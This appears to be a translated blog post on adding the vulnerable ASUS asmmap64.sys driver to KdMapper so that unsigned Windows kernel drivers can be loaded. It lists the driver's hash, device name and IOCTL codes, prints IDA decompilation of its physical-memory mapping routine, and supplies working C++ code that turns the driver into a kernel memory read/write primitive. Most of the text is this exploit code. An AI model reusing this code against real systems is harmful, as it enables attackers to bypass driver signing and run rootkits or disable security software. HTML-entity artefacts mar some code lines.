KdMapper extension implementation ASUS (asmmap64.sys)

1.Background

KdMapper is a tool that exploits Intel driver vulnerabilities to load unsigned drivers without trace. This article uses other vulnerabilities (refer to “[Reprint] Using Signed Driver Vulnerabilities to Load Unsigned Drivers”) and make corresponding modifications to achieve similar functions. . Everyone needs to have a certain understanding of the KdMapper code.

2. Driver information

Driver name asmmap64.sys?
Timestamp 4A4C7A36
MD5 4C016FD76ED5C05E84CA8CAB77993961
File version 1.0.9.1
Device name \.\ASMMAP64
Mapped physical memory 0x9C402580
Unmap physical memory 0x9C402584
Windows 7 Support
Windows 10 22H2 (inclusive) and below
Windows 11 22621 (not included) below

3.IDA analysis

3.1 Entry function:

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
        int v3; //ebx
        _QWORD* v4; // rcx
        _QWORD* v5; // rcx
        struct _UNICODE_STRING DestinationString; // [rsp + 40h] [rbp-28h] BYREF
        struct _UNICODE_STRING SymbolicLinkName; // [rsp + 50h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp + 70h] [rbp + 8h] BYREF
 
        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_110E4;
        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_110E4;
        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_110E4;
        DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11300;
        RtlInitUnicodeString( & amp;DestinationString, L"\Device\ASMMAP64");
        v3 = IoCreateDevice(DriverObject, 0x10u, & amp;DestinationString, 0x9C40u, 0, 0, & amp;DeviceObject);
        if (v3 >= 0)
        {
                v4 = DeviceObject->DeviceExtension;
                *v4 = 0i64;
                v4[1] = 0i64;
                RtlInitUnicodeString( & amp;SymbolicLinkName, L"\DosDevices\ASMMAP64");
                v3 = IoCreateSymbolicLink( & amp;SymbolicLinkName, & amp;DestinationString);
                if (v3 >= 0)
                {
                        v5 = DeviceObject->DeviceExtension;
                        v5[1] = DeviceObject;
                        *(_DWORD*)v5 = 40000;
                }
                else
                {
                        IoDeleteDevice(DeviceObject);
                }
        }
        return v3;
}

3.2 IRP_MJ_DEVICE_CONTROL

The function sub_110E4 corresponding to IRP_MJ_DEVICE_CONTROL has the following code:

__int64 __fastcall sub_110E4(_DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // r8
 
        ASMMAP64_PHYSICAL_MEMORY_INFO* pPhysicalMomoryInfo; // rcx
        void* pMappedAddress; // rbx
        ...
        if (pIosp->MajorFunction == 0xE) // IRP_MJ_DEVICE_IO_CONTROL
        {
                nIOControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
                switch(nIOControlCode)
                {
                    case 0x9C402580:
                        ntStatusReturn = sub_11344((__int64)pDeviceExtension, pIrp, (__int64)pIosp);
                        break;
                    case 0x9C402584:
                        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
                        pPhysicalMomoryInfo = (ASMMAP64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
                        pIrp->IoStatus.Information = 0i64;
                        if (nInputBufferLength != 24)
                        {
                                DbgPrint("(UMMAPMEM) Insufficient input or output buffer\
");
                                ntStatus = 0xC000009A;
                                goto LABEL_26;
                        }
                        pMappedAddress = (void*)pPhysicalMomoryInfo->MappedBaseAddress;
                        DbgPrint(
                                "(UMMAPMEM) Unmap Addr %I64x [%x,%x]\
",
                                pMappedAddress,
                                HIDWORD(pPhysicalMomoryInfo->MappedBaseAddress),
                                (unsigned int)pMappedAddress);
                        ntStatusReturn = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFFi64, pMappedAddress);
                        break;
                
                    ...
                }
            ...
        }
        ...
}

The mapped physical memory ControlCode is 0x9C402580, the corresponding function is sub_11344, and the unmap is 0x9C402584.

3.3 Mapping physical memory

sub_11344 is as follows:

__int64 __fastcall sub_11344(__int64 pDeviceExtension, IRP* pIrp, _IO_STACK_LOCATION* pIosp)
{
        ULONG nInputBufferLength; //eax
        ULONG nOutputBufferLength; //ecx
        ASMMAP64_PHYSICAL_MEMORY_INFO* pPhysicalMomoryInfo; // rdi
        LONG highPhysicalAddress; // eax
        __int64 nMappedLength; // rbx
        BOOLEAN v9; //bl
        BOOLEAN v10; // al
        NTSTATUS v11; //eax
        __int64 v12; // r8
        __int64 v13; // rdx
        LARGE_INTEGER TranslatedAddress; // [rsp + 50h] [rbp-98h] BYREF
        PHYSICAL_ADDRESS BusAddress; // [rsp + 58h] [rbp-90h] BYREF
        LARGE_INTEGER BusAddress2; // [rsp + 60h] [rbp-88h] BYREF
        void* SectionHandle; // [rsp + 68h] [rbp-80h] BYREF
        PVOID BaseAddress; // [rsp + 70h] [rbp-78h] BYREF
        union _LARGE_INTEGER SectionOffset; // [rsp + 78h] [rbp-70h] BYREF
        PVOID Object; // [rsp + 80h] [rbp-68h] BYREF
        struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp + 88h] [rbp-60h] BYREF
        _UNICODE_STRING v23[3]; // [rsp + B8h] [rbp-30h] BYREF
        ULONG AddressSpace; // [rsp + F8h] [rbp + 10h] BYREF
        ULONG AddressSpace2; // [rsp + 100h] [rbp + 18h] BYREF
 
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;// pIosp->DeviceIoControl.InputBufferLength
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;// pIosp->DeviceIoControl.OutputBufferLength
        pPhysicalMomoryInfo = (ASMMAP64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// pIrp->AssociatedIrp.SystemBuffer
        SectionHandle = 0i64;
        Object = 0i64;
        pIrp->IoStatus.Information = 0i64; // pIrp->NtStatus.Information = 0;
        if (nInputBufferLength >= 0x18 & amp; & amp; nOutputBufferLength >= 0x18)
        {
                BusAddress.LowPart = pPhysicalMomoryInfo->PhysicalAddress;
                highPhysicalAddress = HIDWORD(pPhysicalMomoryInfo->PhysicalAddress);
                AddressSpace2 = 0;
                AddressSpace = 0;
                nMappedLength = (unsigned int)pPhysicalMomoryInfo->MappedLengthIn;
                BusAddress.HighPart = highPhysicalAddress;
                RtlInitUnicodeString(v23, L"\Device\PhysicalMemory");
                ObjectAttributes.ObjectName = v23;
                ObjectAttributes.Length = 48;
                ObjectAttributes.RootDirectory = 0i64;
                ObjectAttributes.Attributes = 64;
                ObjectAttributes.SecurityDescriptor = 0i64;
                ObjectAttributes.SecurityQualityOfService = 0i64;
                ZwOpenSection( & amp;SectionHandle, 0xF001Fu, & amp;ObjectAttributes);
                if (ObReferenceObjectByHandle(SectionHandle, 0xF001Fu, 0i64, 0, & amp;Object, 0i64) >= 0)
                {
                        BusAddress2.QuadPart = BusAddress.QuadPart + nMappedLength;
                        v9 = HalTranslateBusAddress(Isa, 0, BusAddress, & amp;AddressSpace, & amp;TranslatedAddress);
                        v10 = HalTranslateBusAddress(Isa, 0, BusAddress2, & amp;AddressSpace2, & amp;BusAddress2);
                        if (!v9 || !v10)
                        {
                                DbgPrint("(MAPMEM) HalTranslatephysicalAddress failed\
");
                                goto LABEL_16;
                        }
                        DbgPrint(
                                "(MAPMEM) physicalAddressbase=%8.8x %8.8x\
",
                                (unsigned int)TranslatedAddress.HighPart,
                                TranslatedAddress.LowPart);
                        DbgPrint("(MAPMEM) physicalAddressend=%8.8x %8.8x\
", (unsigned int)BusAddress2.HighPart, BusAddress2.LowPart);
                        if (BusAddress2.LowPart != TranslatedAddress.LowPart)
                        {
                                if(AddressSpace)
                                {
                                        DbgPrint("inIoSpace = 1\
");
                                        pPhysicalMomoryInfo->MappedBaseAddress = TranslatedAddress.QuadPart;
                                }
                                else
                                {
                                        BusAddress.QuadPart = BusAddress2.LowPart - TranslatedAddress.LowPart;
                                        SectionOffset = TranslatedAddress;
                                        BaseAddress = 0i64;
                                        DbgPrint("viewBase:%x %x\
", (unsigned int)TranslatedAddress.HighPart, TranslatedAddress.LowPart);
                                        v11 = ZwMapViewOfSection(
                                                SectionHandle,
                                                (HANDLE)0xFFFFFFFFFFFFFFFFFi64,
                                                 &BaseAddress,
                                                0i64,
                                                BusAddress.QuadPart,
                                                 &SectionOffset,
                                                (PSIZE_T) &BusAddress.QuadPart,
                                                ViewShare,
                                                0,
                                                0x204u);
                                        if (v11 < 0)
                                        {
                                                DbgPrint("(MAPMEM) ZwMapViewOfSection failed:%x\
", (unsigned int)v11);
                                                goto LABEL_16;
                                        }
                                        DbgPrint("(MAPMEM) physicalMemoryHandle=%x\
", SectionHandle);
                                        BaseAddress = (char*)BaseAddress + TranslatedAddress.QuadPart - SectionOffset.QuadPart;
                                        LODWORD(pPhysicalMomoryInfo->MappedBaseAddress) = (_DWORD)BaseAddress;
                                        v12 = LODWORD(pPhysicalMomoryInfo->MappedBaseAddress);
                                        v13 = HIDWORD(BaseAddress);
                                        HIDWORD(pPhysicalMomoryInfo->MappedBaseAddress) = HIDWORD(BaseAddress);
                                        DbgPrint("(MAPMEM) virtualAddress=%x %x\
", v13, v12);
                                }
                                DbgPrint("(MAPMEM) memory successfully mapped\
");
                                pIrp->IoStatus.Information = 24i64;
                                goto LABEL_16;
                        }
                        DbgPrint("(MAPMEM) mappedLength.LowPart == 0\
");
                }
                else
                {
                        DbgPrint("(MAPMEM) ObReferenceObjectByHandle failed\
");
                }
        LABEL_16:
                ZwClose(SectionHandle);
                return 0i64;
        }
        DbgPrint("(MAPMEM) Buffer size error\
");
        return 3221225626i64;
}

It uses ZwMapViewOfSection to map physical memory to process space. Due to the use of physical memory, you will encounter the problem of non-one-to-one correspondence between physical pages and virtual pages during the coding process. For the description of the problem and the solution, see “Related Problems Encountered in the KdMapper Extension”.

3.4 ASMMAP64_PHYSICAL_MEMORY_INFO structure

00000000 ASMMAP64_PHYSICAL_MEMORY_INFO struc; (sizeof=0x18, mappedto_381)
00000000 PhysicalAddress dq?
00000008 MappedBaseAddress dq?
00000010MappedLengthIndd?
00000014MappedLengthOutdd?
00000018 ASMMAP64_PHYSICAL_MEMORY_INFO ends

4. Code implementation

4.1 .h file

#pragma pack(push)
#pragma pack(1)
        typedef struct /*DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)*/_ASMMAP64_PHYSICAL_MEMORY_INFO {
                PHYSICAL_ADDRESS PhysicalAddress;
               PVOID MappedBaseAddress;
                ULONGMappedLengthIn;
                ULONGMappedLengthOut;
        } ASMMAP64_PHYSICAL_MEMORY_INFO, * PASMMAP64_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
 
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
 
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
 
#define ASMMAP64_DEVICE_TYPE (DWORD)0x9C40
#define ASMMAP64_MAP_SECTION_FUNCID (DWORD)0x960
#define ASMMAP64_UNMAP_SECTION_FUNCID (DWORD)0x961
 
#define IOCTL_ASMMAP64_MAP_USER_PHYSICAL_MEMORY \
    CTL_CODE(ASMMAP64_DEVICE_TYPE, ASMMAP64_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402580
 
#define IOCTL_ASMMAP64_UNMAP_USER_PHYSICAL_MEMORY \
    CTL_CODE(ASMMAP64_DEVICE_TYPE, ASMMAP64_UNMAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402584

4.2 .c file

NTSTATUS asus_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;
 
        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                 &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);
 
        if (ntStatus == STATUS_PENDING) {
 
                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }
 
        if(IoStatus)
                *IoStatus = ioStatus;
 
        return ntStatus;
}
 
BOOL asus_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;
 
        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                 &ioStatus);
 
        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}
 
PVOID asus_driver::SuperMapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ ULONG NumberOfBytes
)
{
        ULONG_PTR offset;
        ULONG mapSize;
        ASMMAP64_PHYSICAL_MEMORY_INFO request;
 
        RtlSecureZeroMemory( & amp;request, sizeof(request));
 
        offset = PhysicalAddress & amp; ~(PAGE_SIZE - 1);
        mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;
 
        request.PhysicalAddress.QuadPart = PhysicalAddress;
        request.MappedLengthOut = mapSize;
        request.MappedLengthIn = mapSize;
        request.MappedBaseAddress = NULL;
 
        if (SuperCallDriver(DeviceHandle,
                IOCTL_ASMMAP64_MAP_USER_PHYSICAL_MEMORY,
                 &request,
                sizeof(request),
                 &request,
                sizeof(request)))
        {
                /*Log(L"[!] SuperMapMemory, Address:0x" << std::setbase(16) << request.MappedBaseAddress << std::endl);*/
                return request.MappedBaseAddress;
        }
 
        return NULL;
}
 
VOID asus_driver::SuperUnmapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ PVOID SectionToUnmap
)
{
        ASMMAP64_PHYSICAL_MEMORY_INFO request;
 
        RtlSecureZeroMemory( & amp;request, sizeof(request));
 
        request.MappedBaseAddress = SectionToUnmap;
        SuperCallDriver(DeviceHandle,
                IOCTL_ASMMAP64_UNMAP_USER_PHYSICAL_MEMORY,
                 &request,
                sizeof(request),
                 &request,
                sizeof(request));
}
 
BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PVOID mappedSection = NULL;
        ULONG_PTR offset;
 
        //
        // Map physical memory section.
        //
        mappedSection = SuperMapMemory(DeviceHandle,
                PhysicalAddress,
                NumberOfBytes);
 
        if (mappedSection) {
 
                offset = PhysicalAddress - (PhysicalAddress & amp; ~(PAGE_SIZE - 1));
 
                __try {
 
                        if (DoWrite) {
                                RtlCopyMemory(mappedSection/*RtlOffsetToPointer(mappedSection, offset)*/, Buffer, NumberOfBytes);
                        }
                        else {
                                RtlCopyMemory(Buffer, mappedSection /*RtlOffsetToPointer(mappedSection, offset)*/, NumberOfBytes);
                        }
 
                        bResult = TRUE;
                }
                __except (EXCEPTION_EXECUTE_HANDLER) {
                        bResult = FALSE;
                        dwError = GetExceptionCode();
                        Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
                }
 
                //
                // Unmap physical memory section.
                //
                SuperUnmapMemory(DeviceHandle,
                        mappedSection);
 
        }
        else {
                dwError = GetLastError();
        }
 
        SetLastError(dwError);
        return bResult;
}
 
BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}
 
BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}
 
BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;
 
        SetLastError(ERROR_SUCCESS);
 
        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                 &physicalAddress);
 
        if (bResult) {
 
                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);
 
        }
 
        return bResult;
}
 
BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;
 
        SetLastError(ERROR_SUCCESS);
 
        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                 &physicalAddress);
 
        if (bResult) {
 
                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);
 
        }
 
        return bResult;
}

Among them, SuperReadKernelVirtualMemory and SuperWriteKernelVirtualMemory read and write the virtual address to physical address function in the virtual address memory page. The implementation of SuperVirtualToPhysical is introduced in the article “KdMapper Extended Implementation of Virtual Address to Physical Address”.

5. Operation effect

The effect of running on Windows 10 22H2 environment is as follows. The driver HelloWorld.sys is an unsigned driver. For detailed description, please see the article “Implementation of KdMapper Loaded Driver”.